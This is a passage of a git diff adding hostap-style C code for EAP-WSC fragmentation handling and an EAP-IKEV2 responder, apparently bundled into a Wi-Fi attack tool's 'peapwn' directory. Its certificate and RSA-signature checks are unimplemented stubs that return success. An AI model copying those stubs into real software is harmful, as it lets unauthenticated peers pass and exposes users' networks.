long) send_len); + wpabuf_free(data->out_buf); + data->out_buf = NULL; + data->out_used = 0; + if ((data->state == FAIL && data->out_op_code == WSC_ACK) || + data->out_op_code == WSC_NACK || + data->out_op_code == WSC_Done) { + eap_wsc_state(data, FAIL); + ret->methodState = METHOD_DONE; + } else + eap_wsc_state(data, MESG); + } else { + wpa_printf(MSG_DEBUG, "EAP-WSC: Sending out %lu bytes " + "(%lu more to send)", (unsigned long) send_len, + (unsigned long) wpabuf_len(data->out_buf) - + data->out_used); + eap_wsc_state(data, WAIT_FRAG_ACK); + } + + return resp; +} + + +static int eap_wsc_process_cont(struct eap_wsc_data *data, + const u8 *buf, size_t len, u8 op_code) +{ + /* Process continuation of a pending message */ + if (op_code != data->in_op_code) { + wpa_printf(MSG_DEBUG, "EAP-WSC: Unexpected Op-Code %d in " + "fragment (expected %d)", + op_code, data->in_op_code); + return -1; + } + + if (len > wpabuf_tailroom(data->in_buf)) { + wpa_printf(MSG_DEBUG, "EAP-WSC: Fragment overflow"); + eap_wsc_state(data, FAIL); + return -1; + } + + wpabuf_put_data(data->in_buf, buf, len); + wpa_printf(MSG_DEBUG, "EAP-WSC: Received %lu bytes, waiting " + "for %lu bytes more", (unsigned long) len, + (unsigned long) wpabuf_tailroom(data->in_buf)); + + return 0; +} + + +static struct wpabuf * eap_wsc_process_fragment(struct eap_wsc_data *data, + struct eap_method_ret *ret, + u8 id, u8 flags, u8 op_code, + u16 message_length, + const u8 *buf, size_t len) +{ + /* Process a fragment that is not the last one of the message */ + if (data->in_buf == NULL && !(flags & WSC_FLAGS_LF)) { + wpa_printf(MSG_DEBUG, "EAP-WSC: No Message Length field in a " + "fragmented packet"); + ret->ignore = TRUE; + return NULL; + } + + if (data->in_buf == NULL) { + /* First fragment of the message */ + data->in_buf = wpabuf_alloc(message_length); + if (data->in_buf == NULL) { + wpa_printf(MSG_DEBUG, "EAP-WSC: No memory for " + "message"); + ret->ignore = TRUE; + return NULL; + } + data->in_op_code = op_code; + wpabuf_put_data(data->in_buf, buf, len); + wpa_printf(MSG_DEBUG, "EAP-WSC: Received %lu bytes in first " + "fragment, waiting for %lu bytes more", + (unsigned long) len, + (unsigned long) wpabuf_tailroom(data->in_buf)); + } + + return eap_wsc_build_frag_ack(id, EAP_CODE_RESPONSE); +} + + +static struct wpabuf * eap_wsc_process(struct eap_sm *sm, void *priv, + struct eap_method_ret *ret, + const struct wpabuf *reqData) +{ + struct eap_wsc_data *data = priv; + const u8 *start, *pos, *end; + size_t len; + u8 op_code, flags, id; + u16 message_length = 0; + enum wps_process_res res; + struct wpabuf tmpbuf; + struct wpabuf *r; + + pos = eap_hdr_validate(EAP_VENDOR_WFA, EAP_VENDOR_TYPE_WSC, reqData, + &len); + if (pos == NULL || len < 2) { + ret->ignore = TRUE; + return NULL; + } + + id = eap_get_id(reqData); + + start = pos; + end = start + len; + + op_code = *pos++; + flags = *pos++; + if (flags & WSC_FLAGS_LF) { + if (end - pos < 2) { + wpa_printf(MSG_DEBUG, "EAP-WSC: Message underflow"); + ret->ignore = TRUE; + return NULL; + } + message_length = WPA_GET_BE16(pos); + pos += 2; + + if (message_length < end - pos) { + wpa_printf(MSG_DEBUG, "EAP-WSC: Invalid Message " + "Length"); + ret->ignore = TRUE; + return NULL; + } + } + + wpa_printf(MSG_DEBUG, "EAP-WSC: Received packet: Op-Code %d " + "Flags 0x%x Message Length %d", + op_code, flags, message_length); + + if (data->state == WAIT_FRAG_ACK) { + if (op_code != WSC_FRAG_ACK) { + wpa_printf(MSG_DEBUG, "EAP-WSC: Unexpected Op-Code %d " + "in WAIT_FRAG_ACK state", op_code); + ret->ignore = TRUE; + return NULL; + } + wpa_printf(MSG_DEBUG, "EAP-WSC: Fragment acknowledged"); + eap_wsc_state(data, MESG); + return eap_wsc_build_msg(data, ret, id); + } + + if (op_code != WSC_ACK && op_code != WSC_NACK && op_code != WSC_MSG && + op_code != WSC_Done && op_code != WSC_Start) { + wpa_printf(MSG_DEBUG, "EAP-WSC: Unexpected Op-Code %d", + op_code); + ret->ignore = TRUE; + return NULL; + } + + if (data->state == WAIT_START) { + if (op_code != WSC_Start) { + wpa_printf(MSG_DEBUG, "EAP-WSC: Unexpected Op-Code %d " + "in WAIT_START state", op_code); + ret->ignore = TRUE; + return NULL; + } + wpa_printf(MSG_DEBUG, "EAP-WSC: Received start"); + eap_wsc_state(data, MESG); + /* Start message has empty payload, skip processing */ + goto send_msg; + } else if (op_code == WSC_Start) { + wpa_printf(MSG_DEBUG, "EAP-WSC: Unexpected Op-Code %d", + op_code); + ret->ignore = TRUE; + return NULL; + } + + if (data->in_buf && + eap_wsc_process_cont(data, pos, end - pos, op_code) < 0) { + ret->ignore = TRUE; + return NULL; + } + + if (flags & WSC_FLAGS_MF) { + return eap_wsc_process_fragment(data, ret, id, flags, op_code, + message_length, pos, + end - pos); + } + + if (data->in_buf == NULL) { + /* Wrap unfragmented messages as wpabuf without extra copy */ + wpabuf_set(&tmpbuf, pos, end - pos); + data->in_buf = &tmpbuf; + } + + res = wps_process_msg(data->wps, op_code, data->in_buf); + switch (res) { + case WPS_DONE: + wpa_printf(MSG_DEBUG, "EAP-WSC: WPS processing completed " + "successfully - wait for EAP failure"); + eap_wsc_state(data, FAIL); + break; + case WPS_CONTINUE: + eap_wsc_state(data, MESG); + break; + case WPS_FAILURE: + case WPS_PENDING: + wpa_printf(MSG_DEBUG, "EAP-WSC: WPS processing failed"); + eap_wsc_state(data, FAIL); + break; + } + + if (data->in_buf != &tmpbuf) + wpabuf_free(data->in_buf); + data->in_buf = NULL; + +send_msg: + if (data->out_buf == NULL) { + data->out_buf = wps_get_msg(data->wps, &data->out_op_code); + if (data->out_buf == NULL) { + wpa_printf(MSG_DEBUG, "EAP-WSC: Failed to receive " + "message from WPS"); + return NULL; + } + data->out_used = 0; + } + + eap_wsc_state(data, MESG); + r = eap_wsc_build_msg(data, ret, id); + if (data->state == FAIL && ret->methodState == METHOD_DONE) { + /* Use reduced client timeout for WPS to avoid long wait */ + if (sm->ClientTimeout > 2) + sm->ClientTimeout = 2; + } + return r; +} + + +int eap_peer_wsc_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_peer_method_alloc(EAP_PEER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_WFA, EAP_VENDOR_TYPE_WSC, + "WSC"); + if (eap == NULL) + return -1; + + eap->init = eap_wsc_init; + eap->deinit = eap_wsc_deinit; + eap->process = eap_wsc_process; + + ret = eap_peer_method_register(eap); + if (ret) + eap_peer_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_peer/ikev2.c b/peapwn/mods/hostap/src/eap_peer/ikev2.c new file mode 100644 index 000000000..fcf4712ac --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/ikev2.c @@ -0,0 +1,1298 @@ +/* + * IKEv2 responder (RFC 4306) for EAP-IKEV2 + * Copyright (c) 2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/dh_groups.h" +#include "crypto/random.h" +#include "ikev2.h" + + +void ikev2_responder_deinit(struct ikev2_responder_data *data) +{ + ikev2_free_keys(&data->keys); + wpabuf_free(data->i_dh_public); + wpabuf_free(data->r_dh_private); + os_free(data->IDi); + os_free(data->IDr); + os_free(data->shared_secret); + wpabuf_free(data->i_sign_msg); + wpabuf_free(data->r_sign_msg); + os_free(data->key_pad); +} + + +static int ikev2_derive_keys(struct ikev2_responder_data *data) +{ + u8 *buf, *pos, *pad, skeyseed[IKEV2_MAX_HASH_LEN]; + size_t buf_len, pad_len; + struct wpabuf *shared; + const struct ikev2_integ_alg *integ; + const struct ikev2_prf_alg *prf; + const struct ikev2_encr_alg *encr; + int ret; + const u8 *addr[2]; + size_t len[2]; + + /* RFC 4306, Sect. 2.14 */ + + integ = ikev2_get_integ(data->proposal.integ); + prf = ikev2_get_prf(data->proposal.prf); + encr = ikev2_get_encr(data->proposal.encr); + if (integ == NULL || prf == NULL || encr == NULL) { + wpa_printf(MSG_INFO, "IKEV2: Unsupported proposal"); + return -1; + } + + shared = dh_derive_shared(data->i_dh_public, data->r_dh_private, + data->dh); + if (shared == NULL) + return -1; + + /* Construct Ni | Nr | SPIi | SPIr */ + + buf_len = data->i_nonce_len + data->r_nonce_len + 2 * IKEV2_SPI_LEN; + buf = os_malloc(buf_len); + if (buf == NULL) { + wpabuf_free(shared); + return -1; + } + + pos = buf; + os_memcpy(pos, data->i_nonce, data->i_nonce_len); + pos += data->i_nonce_len; + os_memcpy(pos, data->r_nonce, data->r_nonce_len); + pos += data->r_nonce_len; + os_memcpy(pos, data->i_spi, IKEV2_SPI_LEN); + pos += IKEV2_SPI_LEN; + os_memcpy(pos, data->r_spi, IKEV2_SPI_LEN); +#ifdef CCNS_PL +#if __BYTE_ORDER == __LITTLE_ENDIAN + { + int i; + u8 *tmp = pos - IKEV2_SPI_LEN; + /* Incorrect byte re-ordering on little endian hosts.. */ + for (i = 0; i < IKEV2_SPI_LEN; i++) + *tmp++ = data->i_spi[IKEV2_SPI_LEN - 1 - i]; + for (i = 0; i < IKEV2_SPI_LEN; i++) + *tmp++ = data->r_spi[IKEV2_SPI_LEN - 1 - i]; + } +#endif +#endif /* CCNS_PL */ + + /* SKEYSEED = prf(Ni | Nr, g^ir) */ + /* Use zero-padding per RFC 4306, Sect. 2.14 */ + pad_len = data->dh->prime_len - wpabuf_len(shared); +#ifdef CCNS_PL + /* Shared secret is not zero-padded correctly */ + pad_len = 0; +#endif /* CCNS_PL */ + pad = os_zalloc(pad_len ? pad_len : 1); + if (pad == NULL) { + wpabuf_free(shared); + os_free(buf); + return -1; + } + + addr[0] = pad; + len[0] = pad_len; + addr[1] = wpabuf_head(shared); + len[1] = wpabuf_len(shared); + if (ikev2_prf_hash(prf->id, buf, data->i_nonce_len + data->r_nonce_len, + 2, addr, len, skeyseed) < 0) { + wpabuf_free(shared); + os_free(buf); + os_free(pad); + return -1; + } + os_free(pad); + wpabuf_free(shared); + + /* DH parameters are not needed anymore, so free them */ + wpabuf_free(data->i_dh_public); + data->i_dh_public = NULL; + wpabuf_free(data->r_dh_private); + data->r_dh_private = NULL; + + wpa_hexdump_key(MSG_DEBUG, "IKEV2: SKEYSEED", + skeyseed, prf->hash_len); + + ret = ikev2_derive_sk_keys(prf, integ, encr, skeyseed, buf, buf_len, + &data->keys); + os_free(buf); + return ret; +} + + +static int ikev2_parse_transform(struct ikev2_proposal_data *prop, + const u8 *pos, const u8 *end) +{ + int transform_len; + const struct ikev2_transform *t; + u16 transform_id; + const u8 *tend; + + if (end - pos < (int) sizeof(*t)) { + wpa_printf(MSG_INFO, "IKEV2: Too short transform"); + return -1; + } + + t = (const struct ikev2_transform *) pos; + transform_len = WPA_GET_BE16(t->transform_length); + if (transform_len < (int) sizeof(*t) || pos + transform_len > end) { + wpa_printf(MSG_INFO, "IKEV2: Invalid transform length %d", + transform_len); + return -1; + } + tend = pos + transform_len; + + transform_id = WPA_GET_BE16(t->transform_id); + + wpa_printf(MSG_DEBUG, "IKEV2: Transform:"); + wpa_printf(MSG_DEBUG, "IKEV2: Type: %d Transform Length: %d " + "Transform Type: %d Transform ID: %d", + t->type, transform_len, t->transform_type, transform_id); + + if (t->type != 0 && t->type != 3) { + wpa_printf(MSG_INFO, "IKEV2: Unexpected Transform type"); + return -1; + } + + pos = (const u8 *) (t + 1); + if (pos < tend) { + wpa_hexdump(MSG_DEBUG, "IKEV2: Transform Attributes", + pos, tend - pos); + } + + switch (t->transform_type) { + case IKEV2_TRANSFORM_ENCR: + if (ikev2_get_encr(transform_id)) { + if (transform_id == ENCR_AES_CBC) { + if (tend - pos != 4) { + wpa_printf(MSG_DEBUG, "IKEV2: No " + "Transform Attr for AES"); + break; + } +#ifdef CCNS_PL + if (WPA_GET_BE16(pos) != 0x001d /* ?? */) { + wpa_printf(MSG_DEBUG, "IKEV2: Not a " + "Key Size attribute for " + "AES"); + break; + } +#else /* CCNS_PL */ + if (WPA_GET_BE16(pos) != 0x800e) { + wpa_printf(MSG_DEBUG, "IKEV2: Not a " + "Key Size attribute for " + "AES"); + break; + } +#endif /* CCNS_PL */ + if (WPA_GET_BE16(pos + 2) != 128) { + wpa_printf(MSG_DEBUG, "IKEV2: " + "Unsupported AES key size " + "%d bits", + WPA_GET_BE16(pos + 2)); + break; + } + } + prop->encr = transform_id; + } + break; + case IKEV2_TRANSFORM_PRF: + if (ikev2_get_prf(transform_id)) + prop->prf = transform_id; + break; + case IKEV2_TRANSFORM_INTEG: + if (ikev2_get_integ(transform_id)) + prop->integ = transform_id; + break; + case IKEV2_TRANSFORM_DH: + if (dh_groups_get(transform_id)) + prop->dh = transform_id; + break; + } + + return transform_len; +} + + +static int ikev2_parse_proposal(struct ikev2_proposal_data *prop, + const u8 *pos, const u8 *end) +{ + const u8 *pend, *ppos; + int proposal_len, i; + const struct ikev2_proposal *p; + + if (end - pos < (int) sizeof(*p)) { + wpa_printf(MSG_INFO, "IKEV2: Too short proposal"); + return -1; + } + + /* FIX: AND processing if multiple proposals use the same # */ + + p = (const struct ikev2_proposal *) pos; + proposal_len = WPA_GET_BE16(p->proposal_length); + if (proposal_len < (int) sizeof(*p) || pos + proposal_len > end) { + wpa_printf(MSG_INFO, "IKEV2: Invalid proposal length %d", + proposal_len); + return -1; + } + wpa_printf(MSG_DEBUG, "IKEV2: SAi1 Proposal # %d", + p->proposal_num); + wpa_printf(MSG_DEBUG, "IKEV2: Type: %d Proposal Length: %d " + " Protocol ID: %d", + p->type, proposal_len, p->protocol_id); + wpa_printf(MSG_DEBUG, "IKEV2: SPI Size: %d Transforms: %d", + p->spi_size, p->num_transforms); + + if (p->type != 0 && p->type != 2) { + wpa_printf(MSG_INFO, "IKEV2: Unexpected Proposal type"); + return -1; + } + + if (p->protocol_id != IKEV2_PROTOCOL_IKE) { + wpa_printf(MSG_DEBUG, "IKEV2: Unexpected Protocol ID " + "(only IKE allowed for EAP-IKEv2)"); + return -1; + } + + if (p->proposal_num != prop->proposal_num) { + if (p->proposal_num == prop->proposal_num + 1) + prop->proposal_num = p->proposal_num; + else { + wpa_printf(MSG_INFO, "IKEV2: Unexpected Proposal #"); + return -1; + } + } + + ppos = (const u8 *) (p + 1); + pend = pos + proposal_len; + if (ppos + p->spi_size > pend) { + wpa_printf(MSG_INFO, "IKEV2: Not enough room for SPI " + "in proposal"); + return -1; + } + if (p->spi_size) { + wpa_hexdump(MSG_DEBUG, "IKEV2: SPI", + ppos, p->spi_size); + ppos += p->spi_size; + } + + /* + * For initial IKE_SA negotiation, SPI Size MUST be zero; for + * subsequent negotiations, it must be 8 for IKE. We only support + * initial case for now. + */ + if (p->spi_size != 0) { + wpa_printf(MSG_INFO, "IKEV2: Unexpected SPI Size"); + return -1; + } + + if (p->num_transforms == 0) { + wpa_printf(MSG_INFO, "IKEV2: At least one transform required"); + return -1; + } + + for (i = 0; i < (int) p->num_transforms; i++) { + int tlen = ikev2_parse_transform(prop, ppos, pend); + if (tlen < 0) + return -1; + ppos += tlen; + } + + if (ppos != pend) { + wpa_printf(MSG_INFO, "IKEV2: Unexpected data after " + "transforms"); + return -1; + } + + return proposal_len; +} + + +static int ikev2_process_sai1(struct ikev2_responder_data *data, + const u8 *sai1, size_t sai1_len) +{ + struct ikev2_proposal_data prop; + const u8 *pos, *end; + int found = 0; + + /* Security Association Payloads: */ + + if (sai1 == NULL) { + wpa_printf(MSG_INFO, "IKEV2: SAi1 not received"); + return -1; + } + + os_memset(&prop, 0, sizeof(prop)); + prop.proposal_num = 1; + + pos = sai1; + end = sai1 + sai1_len; + + while (pos < end) { + int plen; + + prop.integ = -1; + prop.prf = -1; + prop.encr = -1; + prop.dh = -1; + plen = ikev2_parse_proposal(&prop, pos, end); + if (plen < 0) + return -1; + + if (!found && prop.integ != -1 && prop.prf != -1 && + prop.encr != -1 && prop.dh != -1) { + os_memcpy(&data->proposal, &prop, sizeof(prop)); + data->dh = dh_groups_get(prop.dh); + found = 1; + } + + pos += plen; + } + + if (pos != end) { + wpa_printf(MSG_INFO, "IKEV2: Unexpected data after proposals"); + return -1; + } + + if (!found) { + wpa_printf(MSG_INFO, "IKEV2: No acceptable proposal found"); + return -1; + } + + wpa_printf(MSG_DEBUG, "IKEV2: Accepted proposal #%d: ENCR:%d PRF:%d " + "INTEG:%d D-H:%d", data->proposal.proposal_num, + data->proposal.encr, data->proposal.prf, + data->proposal.integ, data->proposal.dh); + + return 0; +} + + +static int ikev2_process_kei(struct ikev2_responder_data *data, + const u8 *kei, size_t kei_len) +{ + u16 group; + + /* + * Key Exchange Payload: + * DH Group # (16 bits) + * RESERVED (16 bits) + * Key Exchange Data (Diffie-Hellman public value) + */ + + if (kei == NULL) { + wpa_printf(MSG_INFO, "IKEV2: KEi not received"); + return -1; + } + + if (kei_len < 4 + 96) { + wpa_printf(MSG_INFO, "IKEV2: Too show Key Exchange Payload"); + return -1; + } + + group = WPA_GET_BE16(kei); + wpa_printf(MSG_DEBUG, "IKEV2: KEi DH Group #%u", group); + + if (group != data->proposal.dh) { + wpa_printf(MSG_DEBUG, "IKEV2: KEi DH Group #%u does not match " + "with the selected proposal (%u)", + group, data->proposal.dh); + /* Reject message with Notify payload of type + * INVALID_KE_PAYLOAD (RFC 4306, Sect. 3.4) */ + data->error_type = INVALID_KE_PAYLOAD; + data->state = NOTIFY; + return -1; + } + + if (data->dh == NULL) { + wpa_printf(MSG_INFO, "IKEV2: Unsupported DH group"); + return -1; + } + + /* RFC 4306, Section 3.4: + * The length of DH public value MUST be equal to the length of the + * prime modulus. + */ + if (kei_len - 4 != data->dh->prime_len) { + wpa_printf(MSG_INFO, "IKEV2: Invalid DH public value length " + "%ld (expected %ld)", + (long) (kei_len - 4), (long) data->dh->prime_len); + return -1; + } + + wpabuf_free(data->i_dh_public); + data->i_dh_public = wpabuf_alloc(kei_len - 4); + if (data->i_dh_public == NULL) + return -1; + wpabuf_put_data(data->i_dh_public, kei + 4, kei_len - 4); + + wpa_hexdump_buf(MSG_DEBUG, "IKEV2: KEi Diffie-Hellman Public Value", + data->i_dh_public); + + return 0; +} + + +static int ikev2_process_ni(struct ikev2_responder_data *data, + const u8 *ni, size_t ni_len) +{ + if (ni == NULL) { + wpa_printf(MSG_INFO, "IKEV2: Ni not received"); + return -1; + } + + if (ni_len < IKEV2_NONCE_MIN_LEN || ni_len > IKEV2_NONCE_MAX_LEN) { + wpa_printf(MSG_INFO, "IKEV2: Invalid Ni length %ld", + (long) ni_len); + return -1; + } + +#ifdef CCNS_PL + /* Zeros are removed incorrectly from the beginning of the nonces */ + while (ni_len > 1 && *ni == 0) { + ni_len--; + ni++; + } +#endif /* CCNS_PL */ + + data->i_nonce_len = ni_len; + os_memcpy(data->i_nonce, ni, ni_len); + wpa_hexdump(MSG_MSGDUMP, "IKEV2: Ni", + data->i_nonce, data->i_nonce_len); + + return 0; +} + + +static int ikev2_process_sa_init(struct ikev2_responder_data *data, + const struct ikev2_hdr *hdr, + struct ikev2_payloads *pl) +{ + if (ikev2_process_sai1(data, pl->sa, pl->sa_len) < 0 || + ikev2_process_kei(data, pl->ke, pl->ke_len) < 0 || + ikev2_process_ni(data, pl->nonce, pl->nonce_len) < 0) + return -1; + + os_memcpy(data->i_spi, hdr->i_spi, IKEV2_SPI_LEN); + + return 0; +} + + +static int ikev2_process_idi(struct ikev2_responder_data *data, + const u8 *idi, size_t idi_len) +{ + u8 id_type; + + if (idi == NULL) { + wpa_printf(MSG_INFO, "IKEV2: No IDi received"); + return -1; + } + + if (idi_len < 4) { + wpa_printf(MSG_INFO, "IKEV2: Too short IDi payload"); + return -1; + } + + id_type = idi[0]; + idi += 4; + idi_len -= 4; + + wpa_printf(MSG_DEBUG, "IKEV2: IDi ID Type %d", id_type); + wpa_hexdump_ascii(MSG_DEBUG, "IKEV2: IDi", idi, idi_len); + os_free(data->IDi); + data->IDi = os_malloc(idi_len); + if (data->IDi == NULL) + return -1; + os_memcpy(data->IDi, idi, idi_len); + data->IDi_len = idi_len; + data->IDi_type = id_type; + + return 0; +} + + +static int ikev2_process_cert(struct ikev2_responder_data *data, + const u8 *cert, size_t cert_len) +{ + u8 cert_encoding; + + if (cert == NULL) { + if (data->peer_auth == PEER_AUTH_CERT) { + wpa_printf(MSG_INFO, "IKEV2: No Certificate received"); + return -1; + } + return 0; + } + + if (cert_len < 1) { + wpa_printf(MSG_INFO, "IKEV2: No Cert Encoding field"); + return -1; + } + + cert_encoding = cert[0]; + cert++; + cert_len--; + + wpa_printf(MSG_DEBUG, "IKEV2: Cert Encoding %d", cert_encoding); + wpa_hexdump(MSG_MSGDUMP, "IKEV2: Certificate Data", cert, cert_len); + + /* TODO: validate certificate */ + + return 0; +} + + +static int ikev2_process_auth_cert(struct ikev2_responder_data *data, + u8 method, const u8 *auth, size_t auth_len) +{ + if (method != AUTH_RSA_SIGN) { + wpa_printf(MSG_INFO, "IKEV2: Unsupported authentication " + "method %d", method); + return -1; + } + + /* TODO: validate AUTH */ + return 0; +} + + +static int ikev2_process_auth_secret(struct ikev2_responder_data *data, + u8 method, const u8 *auth, + size_t auth_len) +{ + u8 auth_data[IKEV2_MAX_HASH_LEN]; + const struct ikev2_prf_alg *prf; + + if (method != AUTH_SHARED_KEY_MIC) { + wpa_printf(MSG_INFO, "IKEV2: Unsupported authentication " + "method %d", method); + return -1; + } + + /* msg | Nr | prf(SK_pi,IDi') */ + if (ikev2_derive_auth_data(data->proposal.prf, data->i_sign_msg, + data->IDi, data->IDi_len, data->IDi_type, + &data->keys, 1, data->shared_secret, + data->shared_secret_len, + data->r_nonce, data->r_nonce_len, + data->key_pad, data->key_pad_len, + auth_data) < 0) { + wpa_printf(MSG_INFO, "IKEV2: Could not derive AUTH data"); + return -1; + } + + wpabuf_free(data->i_sign_msg); + data->i_sign_msg = NULL; + + prf = ikev2_get_prf(data->proposal.prf); + if (prf == NULL) + return -1; + + if (auth_len != prf->hash_len || + os_memcmp(auth, auth_data, auth_len) != 0) { + wpa_printf(MSG_INFO, "IKEV2: Invalid Authentication Data"); + wpa_hexdump(MSG_DEBUG, "IKEV2: Received Authentication Data", + auth, auth_len); + wpa_hexdump(MSG_DEBUG, "IKEV2: Expected Authentication Data", + auth_data, prf->hash_len); + data->error_type = AUTHENTICATION_FAILED; + data->state = NOTIFY; + return -1; + } + + wpa_printf(MSG_DEBUG, "IKEV2: Server authenticated successfully " + "using shared keys"); + + return 0; +} + + +static int ikev2_process_auth(struct ikev2_responder_data *data, + const u8 *auth, size_t auth_len) +{ + u8 auth_method; + + if (auth == NULL) { + wpa_printf(MSG_INFO, "IKEV2: No Authentication Payload"); + return -1; + } + + if (auth_len < 4) { + wpa_printf(MSG_INFO, "IKEV2: Too short Authentication " + "Payload"); + return -1; + } + + auth_method = auth[0]; + auth += 4; + auth_len -= 4; + + wpa_printf(MSG_DEBUG, "IKEV2: Auth Method %d", auth_method); + wpa_hexdump(MSG_MSGDUMP, "IKEV2: Authentication Data", auth, auth_len); + + switch (data->peer_auth) { + case PEER_AUTH_CERT: + return ikev2_process_auth_cert(data, auth_method, auth, + auth_len); + case PEER_AUTH_SECRET: + return ikev2_process_auth_secret(data, auth_method, auth, + auth_len); + } + + return -1; +} + + +static int ikev2_process_sa_auth_decrypted(struct ikev2_responder_data *data, + u8 next_payload, + u8 *payload, size_t payload_len) +{ + struct ikev2_payloads pl; + + wpa_printf(MSG_DEBUG, "IKEV2: Processing decrypted payloads"); + + if (ikev2_parse_payloads(&pl, next_payload, payload, payload + + payload_len) < 0) { + wpa_printf(MSG_INFO, "IKEV2: Failed to parse decrypted " + "payloads"); + return -1; + } + + if (ikev2_process_idi(data, pl.idi, pl.idi_len) < 0 || + ikev2_process_cert(data, pl.cert, pl.cert_len) < 0 || + ikev2_process_auth(data, pl.auth, pl.auth_len) < 0) + return -1; + + return 0; +} + + +static int ikev2_process_sa_auth(struct ikev2_responder_data *data, + const struct ikev2_hdr *hdr, + struct ikev2_payloads *pl) +{ + u8 *decrypted; + size_t decrypted_len; + int ret; + + decrypted = ikev2_decrypt_payload(data->proposal.encr, + data->proposal.integ, + &data->keys, 1, hdr, pl->encrypted, + pl->encrypted_len, &decrypted_len); + if (decrypted == NULL) + return -1; + + ret = ikev2_process_sa_auth_decrypted(data, pl->encr_next_payload, + decrypted, decrypted_len); + os_free(decrypted); + + return ret; +} + + +static int ikev2_validate_rx_state(struct ikev2_responder_data *data, + u8 exchange_type, u32 message_id) +{ + switch (data->state) { + case SA_INIT: + /* Expect to receive IKE_SA_INIT: HDR, SAi1, KEi, Ni */ + if (exchange_type != IKE_SA_INIT) { + wpa_printf(MSG_INFO, "IKEV2: Unexpected Exchange Type " + "%u in SA_INIT state", exchange_type); + return -1; + } + if (message_id != 0) { + wpa_printf(MSG_INFO, "IKEV2: Unexpected Message ID %u " + "in SA_INIT state", message_id); + return -1; + } + break; + case SA_AUTH: + /* Expect to receive IKE_SA_AUTH: + * HDR, SK {IDi, [CERT,] [CERTREQ,] [IDr,] + * AUTH, SAi2, TSi, TSr} + */ + if (exchange_type != IKE_SA_AUTH) { + wpa_printf(MSG_INFO, "IKEV2: Unexpected Exchange Type " + "%u in SA_AUTH state", exchange_type); + return -1; + } + if (message_id != 1) { + wpa_printf(MSG_INFO, "IKEV2: Unexpected Message ID %u " + "in SA_AUTH state", message_id); + return -1; + } + break; + case CHILD_SA: + if (exchange_type != CREATE_CHILD_SA) { + wpa_printf(MSG_INFO, "IKEV2: Unexpected Exchange Type " + "%u in CHILD_SA state", exchange_type); + return -1; + } + if (message_id != 2) { + wpa_printf(MSG_INFO, "IKEV2: Unexpected Message ID %u " + "in CHILD_SA state", message_id); + return -1; + } + break; + case NOTIFY: + case IKEV2_DONE: + case IKEV2_FAILED: + return -1; + } + + return 0; +} + + +int ikev2_responder_process(struct ikev2_responder_data *data, + const struct wpabuf *buf) +{ + const struct ikev2_hdr *hdr; + u32 length, message_id; + const u8 *pos, *end; + struct ikev2_payloads pl; + + wpa_printf(MSG_MSGDUMP, "IKEV2: Received message (len %lu)", + (unsigned long) wpabuf_len(buf)); + + if (wpabuf_len(buf) < sizeof(*hdr)) { + wpa_printf(MSG_INFO, "IKEV2: Too short frame to include HDR"); + return -1; + } + + data->error_type = 0; + hdr = (const struct ikev2_hdr *) wpabuf_head(buf); + end = wpabuf_head_u8(buf) + wpabuf_len(buf); + message_id = WPA_GET_BE32(hdr->message_id); + length = WPA_GET_BE32(hdr->length); + + wpa_hexdump(MSG_DEBUG, "IKEV2: IKE_SA Initiator's SPI", + hdr->i_spi, IKEV2_SPI_LEN); + wpa_hexdump(MSG_DEBUG, "IKEV2: IKE_SA Responder's SPI", + hdr->r_spi, IKEV2_SPI_LEN); + wpa_printf(MSG_DEBUG, "IKEV2: Next Payload: %u Version: 0x%x " + "Exchange Type: %u", + hdr->next_payload, hdr->version, hdr->exchange_type); + wpa_printf(MSG_DEBUG, "IKEV2: Message ID: %u Length: %u", + message_id, length); + + if (hdr->version != IKEV2_VERSION) { + wpa_printf(MSG_INFO, "IKEV2: Unsupported HDR version 0x%x " + "(expected 0x%x)", hdr->version, IKEV2_VERSION); + return -1; + } + + if (length != wpabuf_len(buf)) { + wpa_printf(MSG_INFO, "IKEV2: Invalid length (HDR: %lu != " + "RX: %lu)", (unsigned long) length, + (unsigned long) wpabuf_len(buf)); + return -1; + } + + if (ikev2_validate_rx_state(data, hdr->exchange_type, message_id) < 0) + return -1; + + if ((hdr->flags & (IKEV2_HDR_INITIATOR | IKEV2_HDR_RESPONSE)) != + IKEV2_HDR_INITIATOR) { + wpa_printf(MSG_INFO, "IKEV2: Unexpected Flags value 0x%x", + hdr->flags); + return -1; + } + + if (data->state != SA_INIT) { + if (os_memcmp(data->i_spi, hdr->i_spi, IKEV2_SPI_LEN) != 0) { + wpa_printf(MSG_INFO, "IKEV2: Unexpected IKE_SA " + "Initiator's SPI"); + return -1; + } + if (os_memcmp(data->r_spi, hdr->r_spi, IKEV2_SPI_LEN) != 0) { + wpa_printf(MSG_INFO, "IKEV2: Unexpected IKE_SA " + "Responder's SPI"); + return -1; + } + } + + pos = (const u8 *) (hdr + 1); + if (ikev2_parse_payloads(&pl, hdr->next_payload, pos, end) < 0) + return -1; + + if (data->state == SA_INIT) { + data->last_msg = LAST_MSG_SA_INIT; + if (ikev2_process_sa_init(data, hdr, &pl) < 0) { + if (data->state == NOTIFY) + return 0; + return -1; + } + wpabuf_free(data->i_sign_msg); + data->i_sign_msg = wpabuf_dup(buf); + } + + if (data->state == SA_AUTH) { + data->last_msg = LAST_MSG_SA_AUTH; + if (ikev2_process_sa_auth(data, hdr, &pl) < 0) { + if (data->state == NOTIFY) + return 0; + return -1; + } + } + + return 0; +} + + +static void ikev2_build_hdr(struct ikev2_responder_data *data, + struct wpabuf *msg, u8 exchange_type, + u8 next_payload, u32 message_id) +{ + struct ikev2_hdr *hdr; + + wpa_printf(MSG_DEBUG, "IKEV2: Adding HDR"); + + /* HDR - RFC 4306, Sect. 3.1 */ + hdr = wpabuf_put(msg, sizeof(*hdr)); + os_memcpy(hdr->i_spi, data->i_spi, IKEV2_SPI_LEN); + os_memcpy(hdr->r_spi, data->r_spi, IKEV2_SPI_LEN); + hdr->next_payload = next_payload; + hdr->version = IKEV2_VERSION; + hdr->exchange_type = exchange_type; + hdr->flags = IKEV2_HDR_RESPONSE; + WPA_PUT_BE32(hdr->message_id, message_id); +} + + +static int ikev2_build_sar1(struct ikev2_responder_data *data, + struct wpabuf *msg, u8 next_payload) +{ + struct ikev2_payload_hdr *phdr; + size_t plen; + struct ikev2_proposal *p; + struct ikev2_transform *t; + + 